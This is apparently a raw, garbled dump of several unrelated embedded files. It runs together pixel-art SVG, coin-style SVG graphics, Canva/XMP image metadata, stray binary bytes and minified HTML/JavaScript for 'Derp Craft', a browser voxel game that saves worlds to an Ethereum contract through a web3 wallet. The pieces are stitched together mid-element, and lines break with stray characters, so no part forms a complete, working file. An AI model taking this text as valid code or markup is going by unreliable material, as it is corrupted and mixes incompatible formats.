th="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="12" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#9be0e0ff"/><rect x="10" y=M
"15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="15" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="1M
5" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="12" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#9be0e0ff"/><rect x="10" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rM
ect x="9" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="16" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbffM
"/><rect x="14" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="12" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="10" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#cM
8fbfbff"/><rect x="8" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="17" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="18" width="1" height="1" shape-rendering="crispEdges" fiM
ll="#c8fbfbff"/><rect x="13" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="12" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="11" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="10" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="9" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="8" y="18" width="1" height="1" shape-rendering="crispEdgM
es" fill="#c8fbfbff"/><rect x="7" y="18" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="19" width="1" height="1" shape-rendering="cM
rispEdges" fill="#c8fbfbff"/><rect x="12" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="10" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="19" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="7" y="19" width="1" height="1" shape-renderiM
ng="crispEdges" fill="#000000ff"/><rect x="17" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="12" y="20" width="1" height="1" shapeM
-rendering="crispEdges" fill="#c8fbfbff"/><rect x="11" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="10" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="9" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="8" y="20" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="21" width="1" height="1"M
 shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="12" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="11" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="10" y="21" width="1" heM
ight="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="9" y="21" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="22" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="22" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="22" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="22" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="22" widthM
="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="17" y="23" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/><rect x="16" y="23" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="15" y="23" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="14" y="23" width="1" height="1" shape-rendering="crispEdges" fill="#c8fbfbff"/><rect x="13" y="23" width="1" height="1" shape-rendering="crispEdges" fill="#000000ff"/></svg>h!
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#f47316" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
<svg height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"
style="font:160% arial;font-weight:700;fill:white"
    <g transform-origin="center">
        <circle cy="50%"  cx="50%" r="50%" fill="#f7931a" />
        <text x="29%" y="28%">600</text>
        <text x="29%" y="48%">000</text>
        <text x="29%" y="68%">000</text>
        <text x="29%" y="88%">000</text>
        <animateTransform attributeName="transform" type="scale" keyTimes="0;1" values="0;1" dur="2s" repeatCount="ind
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#ff159f" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
lns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>11c1ce75-f31d-41c4-9331-556f525cb4b6</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 9</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
<x:xmpmeta xmlns:x="adobe:nsM(
:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>body{background:#ddd}canvas{image-rendering:pixelated;box-sizing:border-box}body{text-align:center}button{border-radius:4px}.fixed{position:fixed;top:4px}.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:#fff;-webkit-text-stroke:1px #000;font-variant:small-caps;font-size:20px}.hidables,.nosaving{display:none}#toolbar{left:4px}#lock,#save{background:0 0;background:#ffffff4d}#loading,#saving{line-height:100vh;font-family:sans-serif}#lock:hover,#lock:hover:after,.extended #lM
ock,.extended #lock:after{background:#fff;content:" Options"}#save:hover,#save:hover:after,.extended #save,.extended #save:after{background:#fff;content:" Save"}.extended .hidables,.show{display:initial}.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text:hover{color:#000}.nosaving{color:red}html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}details,main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monoM
space}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=subM
mit],button{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[tyM
pe=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font-style:normal;font-variant:normal;font-weight:400;font-family:inherit}summary{display:list-item}[hidden],template{display:none}</style><link rel="stylesheet" href="https://unpkg.comM
/papercss@1.8.3/dist/paper.min.css"><script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.7.1/web3.min.js" integrity="sha512-GKw4QT/RccGJIwQxY3MhyiQ5pHrhQ8SuKFEafV+WcpOvtz7iYFQuQGFCvmGlHLctJTe8KrWU1FqvF7VOkEAJtw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
try{ethereum}catch(e){setTimeout(function(){$("#eth_login_button").css("display","none"),$("#startGame").html("Play offchain"),$("#startGM
ame").css("display",""),$("#modal_title").html("Web3 Unavailable"),$("#modal_subtitle").html("Oooh noe!"),$("#modal_text").html("This website requires web3 to function properly. Without web3 you can only play offchain"),$("#modal_button").click()},1500)}const web3Instance=new Web3(ethereum),dngAbi=[{anonymous:!1,inputs:[{indexed:!0,internalType:"uint256",name:"gameId",type:"uint256"},{indexed:!1,internalType:"uint16",name:"version",type:"uint16"},{indexed:!0,internalType:"uint256",name:"saveId",type:"uint256"}],namM
e:"SaveGame",type:"event"},{inputs:[{internalType:"uint256",name:"currentGameId",type:"uint256"},{internalType:"uint16",name:"version",type:"uint16"},{internalType:"string",name:"note",type:"string"},{internalType:"bytes",name:"data1",type:"bytes"},{internalType:"bytes",name:"data2",type:"bytes"},{internalType:"bytes",name:"data3",type:"bytes"},{internalType:"bytes",name:"data4",type:"bytes"}],name:"saveGame",outputs:[],stateMutability:"nonpayable",type:"function"},{inputs:[{internalType:"uint256",name:"",type:"uinM
t256"}],name:"_games",outputs:[{internalType:"uint256",name:"price",type:"uint256"},{internalType:"uint256",name:"startBlock",type:"uint256"},{internalType:"bytes32",name:"dataHash",type:"bytes32"},{internalType:"uint256",name:"currentSupply",type:"uint256"},{internalType:"uint256",name:"maxSupply",type:"uint256"},{internalType:"address",name:"creator",type:"address"},{internalType:"uint16",name:"version",type:"uint16"}],stateMutability:"view",type:"function"},];let dngAddress="0xe671556523408D885726443Fbcc1358EB55M
6Ff3C",dngContract=new web3Instance.eth.Contract(dngAbi,dngAddress),walletAddress="",gameId=1,gameVersion=1,savedGames=[],flagged={2:"The <u>first</u> freaking person beside me to upload a world built a swastika statue... Now that is on the blockchain forever... You can load it manually by SaveID if you want"};function updateGUI(){$("#ethWorlds").html(""),savedGames.sort((e,t)=>e.n>t.n?1:-1);for(let e=savedGames.length-1;e>=0;e--){let t=savedGames[e].c.substring(0,6)+"..."+savedGames[e].c.slice(savedGames[e].c.lengM
th-4),a="<tr><td>"+savedGames[e].n+"</td><td>"+t+"</td><td id='savedGameDescription"+e+"'></td><td><button id=\"loadWorldButton"+savedGames[e].n+'" class="loadWorld" mcs="'+savedGames[e].s+'" mci="'+savedGames[e].i+'" mct="'+savedGames[e].t+'" mcm="'+savedGames[e].m+'">Load World</button></td></tr>';$("#ethWorlds").append(a),$("#savedGameDescription"+e).text(savedGames[e].d),flagged[savedGames[e].n]&&($("#savedGameDescription"+e).append('<p style="color:red;">Derp Flag: '+flagged[savedGames[e].n]+"</p>"),$("#loadWoM
rldButton"+savedGames[e].n).css("display","none"))}}async function updateSavedGames(e){input_data="0x"+(tx=await web3Instance.eth.getTransaction(e.txHash)).input.slice(10),params=web3Instance.eth.abi.decodeParameters(["uint256","uint16","string","bytes","bytes","bytes","bytes"],input_data);let t={};t.n=e.saveId,t.c=tx.from,t.d=params[2],t.i=web3Instance.utils.hexToUtf8(params[3]),t.s=web3Instance.utils.hexToUtf8(params[4]),t.t=web3Instance.utils.hexToUtf8(params[5]),t.m=new Uint8Array(params[6].slice(2).match(/.{1,M
2}/g).map(e=>parseInt(e,16))),savedGames.push(t)}function updateEvents(e,t){for(let a=0;a<e.length;a++)updateEvent(e[a],t);setTimeout(updateGUI,500)}function updateEvent(e,t,a){let n={};(n=e.returnValues).blockNumber=e.blockNumber,n.txHash=e.transactionHash,"SaveGame"==t&&updateSavedGames(n),a&&updateGUI()}let options={};async function getInitialEventData(){let e=await web3Instance.eth.getBlockNumber();savedGames=[],options.fromBlock=e>5e5?e-5e5:0,options.toBlock=e,options.filter={to:[walletAddress]},await dngContrM
act.getPastEvents("SaveGame",options).then(e=>updateEvents(e,"SaveGame")).catch(e=>console.log(e)),options={},dngContract.events.SaveGame(options).on("data",e=>updateEvent(e,"SaveGame",1),"SaveGame"),updateGUI()}function downloadGame(e,t,a){let n=new Uint8Array(e.slice(2).match(/.{1,2}/g).map(e=>parseInt(e,16))),s=new Blob([n],{type:"octet/stream"}),l=document.createElement("a");l.href=URL.createObjectURL(s),l.download=t+"_"+a+".zip",document.body.append(l),l.click(),l.remove(),setTimeout(()=>URL.revokeObjectURL(l.M
href),1e4)}async function checkWeb3(){if(window.ethereum){$("#eth_login_button").addClass("is-disabled"),$("#eth_login_button").html("Please check web3 wallet");let e=await web3Instance.eth.getAccounts(),t=e[0];walletAddress=t,t?($("#eth_login_button").removeClass("is-disabled"),$("#eth_login_button").html("Wallet:"+t.substring(0,6)+"..."+t.slice(t.length-4)),$("#eth_login_button").addClass("is-success"),$("#startGame").css("display",""),$("#downloadGame").css("display",""),$("#contentTabs").css("display","")):($("M
#eth_login_button").removeClass("is-disabled"),$("#eth_login_button").html("Connect to web3 wallet to play"),$("#startGame").css("display","none"),$("#contentTabs").css("display","none"))}else $("#eth_login_button").html("Error loading Web3"),$("#eth_login_button").addClass("is-disabled"),$("#startGame").css("display","none")}async function checkWebAccount(){try{let e=await web3Instance.eth.getAccounts(),t=e[0];t!=walletAddress&&(walletAddress=t,checkWeb3()),setTimeout(checkWebAccount,500)}catch(a){console.log(a)}}M
$(document).on("click","#downloadGame",async function(){try{let e=(await dngContract.methods._games(1).call()).dataHash,t=await web3Instance.eth.getTransaction(e),a="0x"+t.input.slice(10),n=web3Instance.eth.abi.decodeParameters(["uint256","string","string","bytes"],a);downloadGame(n[3],n[1],e),$("#modal_title").html("Game Downloaded"),$("#modal_subtitle").html("Yeaaah BOYYYY!"),$("#modal_text").html("In order to get the web3 portion of this game working properly on your local device, you must serve the assets from M
a local server. "),$("#modal_button").click()}catch(s){$("#modal_title").html("Downloading Error"),$("#modal_subtitle").html("uh-oh!"),$("#modal_text").html(s),$("#modal_button").click()}}),$(document).on("click","#loadWorldFromId",async function(){let e=$("#loadWorldId").val(),t=await dngContract.getPastEvents("SaveGame",{fromBlock:1,toBlock:"latest",filter:{saveId:e}});(console.log("Loading Save Id #"+e),0!=t.length)?(input_data="0x"+(tx=await web3Instance.eth.getTransaction(t[0].transactionHash)).input.slice(10)M
,params=web3Instance.eth.abi.decodeParameters(["uint256","uint16","string","bytes","bytes","bytes","bytes"],input_data),document.getElementById("_mci").innerHTML=web3Instance.utils.hexToUtf8(params[3]),document.getElementById("_mcs").innerHTML=web3Instance.utils.hexToUtf8(params[4]),document.getElementById("_mct").innerHTML=web3Instance.utils.hexToUtf8(params[5]),document.getElementById("_mcm").innerHTML=new Uint8Array(params[6].slice(2).match(/.{1,2}/g).map(e=>parseInt(e,16))),setTimeout(function(){document.getEleM
mentById("startGame").click()},100)):($("#modal_title").html("Loading Error"),$("#modal_subtitle").html("uh-oh!"),$("#modal_text").html("Unable to find saveId!"),$("#modal_button").click())}),$(document).on("click","#loadWorldFromJSON",function(){try{let e=JSON.parse($("#loadWorldJSON").val());document.getElementById("_mci").innerHTML=e.mci,document.getElementById("_mcs").innerHTML=e.mcs,document.getElementById("_mct").innerHTML=e.mct,document.getElementById("_mcm").innerHTML=e.mcm,setTimeout(function(){document.geM
tElementById("startGame").click()},100)}catch(t){$("#modal_title").html("Loading Error"),$("#modal_subtitle").html("uh-oh!"),$("#modal_text").html("Unable to load JSON object"),$("#modal_button").click()}}),$(document).on("click","#saveGame",async function(){$(this).addClass("disabled"),$(this).prop("disabled",!0);try{let e=await web3Instance.eth.getGasPrice(),t=prompt("Enter note/description to save on chain"),a=web3Instance.utils.utf8ToHex(document.getElementById("_mci").innerHTML),n=web3Instance.utils.utf8ToHex(M
document.getElementById("_mcs").innerHTML),s,l=await dngContract.methods.saveGame(gameId,gameVersion,t,a,n,web3Instance.utils.utf8ToHex(document.getElementById("_mct").innerHTML),Uint8Array.from(document.getElementById("_mcm").textContent.split(","))).send({from:walletAddress,gasPrice:void 0,maxFeePerGas:Math.max(e,2e9),maxPriorityFeePerGas:2e9,type:"0x2"});$("#modal_title").html("Save successfull"),$("#modal_subtitle").html("ooh YEAH!"),$("#modal_text").html("You have saved your game on the blockchain!<br>Save ID:M
 "+l.events.SaveGame.returnValues.saveId),$("#modal_button").click()}catch(o){$("#modal_title").html("Transaction Error"),$("#modal_subtitle").html("uh-oh!"),$("#modal_text").html(o.message),$("#modal_button").click()}$(this).removeClass("disabled"),$(this).prop("disabled",!1)}),$(document).on("click","#eth_login_button",function(){try{ethereum.request({method:"eth_requestAccounts"})}catch(e){$("#eth_login_button").html("Web3 wallet not available")}checkWeb3()}),setTimeout(checkWebAccount,500),$(document).ready(funM
ction(){$("#_mcs").html(""+Math.random()*Number.MAX_SAFE_INTEGER|0)}),document.addEventListener("click",function(e){e.target.classList.contains("loadWorld")&&(document.getElementById("_mci").innerHTML=e.target.getAttribute("mci"),document.getElementById("_mcs").innerHTML=e.target.getAttribute("mcs"),document.getElementById("_mct").innerHTML=e.target.getAttribute("mct"),document.getElementById("_mcm").innerHTML=e.target.getAttribute("mcm"),setTimeout(function(){document.getElementById("startGame").click()},100))});
</head><body><div id="gameContainer" style="display:none"><div id="toolbar" class="fixed"><button id="lock">
</button><button id="save">
</button><button style="display:none" id="saveGame"></button><span class="hidables"><span>|</span><button id="minus">
 Distance</button><button id="plus">
 Distance</button><button id="interlace">
 Interlace</button></span></div><div class="fixed fps">0</div><h1 id="loading">Loading...</h1><h1 id="saving" hidden>Saving...</h1><canvas id="game"></canvas><div cM
lass="nosaving" style="display:none">Saving Disabled! Error with window.localStorage</div></div><div><div class="paper container"><div class="row flex-center"><div class="sm-12 col"><div class="sm-12 col"><a target="_blank" class="paper-btn" href="https://www.derpnation.xyz">Home</a><button id="eth_login_button">Web3 Connect</button><button id="startGame" style="display:none">Create new world</button><br></div><div id="showSavedJSON" style="display:none"><p id="savedJSONTitle">Saved World JSON:</p><p id="savedJSONSM
tring" style="word-wrap:break-word"></p></div><h3 style="margin:0">Derp Craft</h3><p style="font-size:.88rem">The entire 3d games is stored on the Ethereum blockchain<br>Oh... and now the bitcoin blockchain too</p><h5 style="margin:0">Original Game By<a href="https://twitter.com/renomck" target="_blank">Reno McKenzie</a>-<a href="https://github.com/darkenvy/13k-voxelcraft" target="_blank">Github</a></h5><h5 style="margin:0">Web3 Integration By<a href="https://twitter.com/0xDerpNation" target="_blank">Derp HerpensteM
in</a>-<a href="https://github.com/DerpHerpenstein/derpcraft" target="_blank">Github</a></h5></div><div class="sm-12 col"><img style="height:16rem;margin-left:auto;margin-right:auto" src="/images/cards/voxelCard.png"><button id="downloadGame" style="display:none">Download Game From Blockchain</button></div><br><br></div><div id="contentTabs" style="display:none" class="row flex-spaces tabs"><input id="tab2" type="radio" name="tabs" checked="checked"><label for="tab2">Specific World</label><input id="tab3" type="radM
io" name="tabs"><label for="tab3">Features/Controls</label><div class="content" id="content2"><div class="row flex-center"><div class="col sm-12">Load a game that has been stored to the Ethereum blockchain by it's save id<div class="form-group"><input type="text" style="display:inline" placeholder="Enter save id" id="loadWorldId"><button id="loadWorldFromId">Load world</button></div>Load a world by its JSON string<div class="form-group"><input type="text" style="display:inline" placeholder="Paste JSON object" id="lM
oadWorldJSON"><button id="loadWorldFromJSON">Load world</button></div></div></div></div><div class="content" id="content3"><div class="row flex-top" style="text-align:left"><div class="sm-6 col"><h3>Features:</h3><p>-<b>Entire game stored on the Ethereum blockchain</b></p><p>-<b>Save/Load/Download from Ethereum blockchain</b></p><p>- Random Terrain Generation</p><p>- Procedural Caves, Trees, Water, Ore Veins, Textures</p><p>- Render Distance Adjustable under options</p><p>- Screen Interlacing to reduce CPU</p><p>- M
day/night cycle</p><p>- crafting with block requirements</p><p>- plays on any computer! No GPU required</p></div><div class="sm-6 col"><h3>Controls:</h3><p>-<b>[wasd]</b>to move</p><p>-<b>[e]</b>to toggle craftable items</p><p>-<b>[spacebar]</b>to jump</p><p>- hold<b>[shift]</b>to take/build on liquids</p><p>-<b>[left click]</b>to break a block</p><p>-<b>[right click]</b>to build a block</p><p>-<b>[number keys]</b>to change selected items</p></div></div></div></div></div><div style="display:none"><div id="_mcs" datM
a=""></div><div id="_mci" data=""></div><div id="_mct" data=""></div><div id="_mcm" data=""></div></div><div class="row flex-spaces child-borders"><label id="modal_button" style="display:none" class="paper-btn margin" for="modal-1"></label></div><input class="modal-state" id="modal-1" type="checkbox"><div class="modal"><label class="modal-bg" for="modal-1"></label><div class="modal-body" style="min-width:400px;max-width:900px"><label class="btn-close" for="modal-1">X</label><h4 id="modal_title" class="modal-title">M
Modal Title</h4><h5 id="modal_subtitle" class="modal-subtitle">Modal Subtitle</h5><p id="modal_text" class="modal-text">This is an example of modal which is implemented with pure CSS! :D</p><label for="modal-1" class="paper-btn margin">Okay</label></div></div></div>
  <script type="text/javascript">
    !function(t){function e(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var n={};e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.definePropM
erty(t,n,{configurable:!1,enumerable:!0,get:r})},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,n){"use strict";function r(t,e,n){try{return window.game.map[0|t][0|e][0|n]}catch(e){}}var o=n(1),i=!1,a=!1,c=!1,u=document.querySelector("#game");(0,o.intervalSecond)(function(){a=!1}),t.exports={dlog:function(){c||(c=!0,console.log.apply(this,arguments),setTM
imeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,n=t.texmap,r=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var c=n[a+16*i+256*o*3],u=1.328125,s=16*o,f=s+a,l=r*i;16<o&&(f-=272,l=r*(i+48));var d=4*(f+l);e.data[d+0]=(255&c>>16)*u,e.data[d+1]=(255&c>>8)*u,e.data[d+2]=(255&c)*u}},getBlock:r,setBlock:function(t,e,n,r,o,i){if(o=o||window.game.map,!(255<t||255<e||255<n))try{o[t][e][n]!==i&&(o[t][e][n]=r)}catch(e){}},isInsideCheck:function(){if(a)return i;aM
=!0;for(var t,e=window.game.player,n=e.x,o=e.y,c=e.z,u=o;0<u;u--)if(0!==(t=r(n,u,c))&&8!==t)return i=!0;return i=!1},calcArcFromLength:function(t,e){var n=e/2;return(n-Math.abs(t-n))/n},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return u}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.intervalSecond=function(t){n.push(t)},e.initIntervalSecond=function(){console.log("Init interval"),setInterval(function(){n.forEach(function(t){return t()}M
)},1e3)};var n=[]},function(t,e,n){"use strict";function r(){return Math.abs(c)/255}function o(){var t=u[0],e=u[1],n=u[2],o=s[0],i=s[1],a=s[2],c=r(),f=[t*(1-c),e*(1-c),n*(1-c)],l=[o*c,i*c,a*c];return[f[0]+l[0],f[1]+l[1],f[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var n,r=[],o=!0,i=!1;try{for(var a,c=t[Symbol.iterator]();!(o=(a=c.next()).done)&&(r.push(a.value),!e||r.length!==e);o=!0);}catch(t){i=!0,n=t}finally{try{!o&&c.return&&c.return()}finally{if(i)tM
hrow n}}return r}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=n(1),c=e.time=0,u=[154,218,255],s=[200,25,75];(0,a.intervalSecond)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),n=e[0],a=e[1],c=e[2],u=1-r();return[n*u,a*u,c*u]},timeModifier:r,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,n){"use sM
trict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(0),o=function(t){return t&&t.__esModule?t:{default:t}}(r);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_SCALE:31,M
